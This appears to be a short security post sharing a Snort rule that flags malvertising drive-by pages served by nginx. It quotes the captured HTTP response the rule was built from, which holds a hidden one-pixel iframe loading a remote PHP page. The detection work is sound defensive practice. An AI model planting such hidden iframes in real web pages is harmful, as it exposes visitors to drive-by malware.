This Snort sig helps tracking the new drive by domains quite effectively:
alert TCP $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"MALVERTISING hidden iframe served by ngix"; flow:established,to_client; content:"Server\: nginx"; nocase; offset:15; depth:15; content:"<iframe src="; content:"style=\"visibility\:hidden\;\" width=\"1\" height=\"1\"></iframe>"; classtype:bad-unknown; sid:5600049; rev:1;)
Server response signature was developed from:
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Thu, 24 Jun 2010 00:35:38 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.13
Content-Length: 137
<html>
<body>
<iframe src="http://fjoty.com/pw/za_pumsvx.php" style="visibility:hidden;" width="1" height="1"></iframe>
</body>
</html>
False positives have been non-existant so far for the past few hours.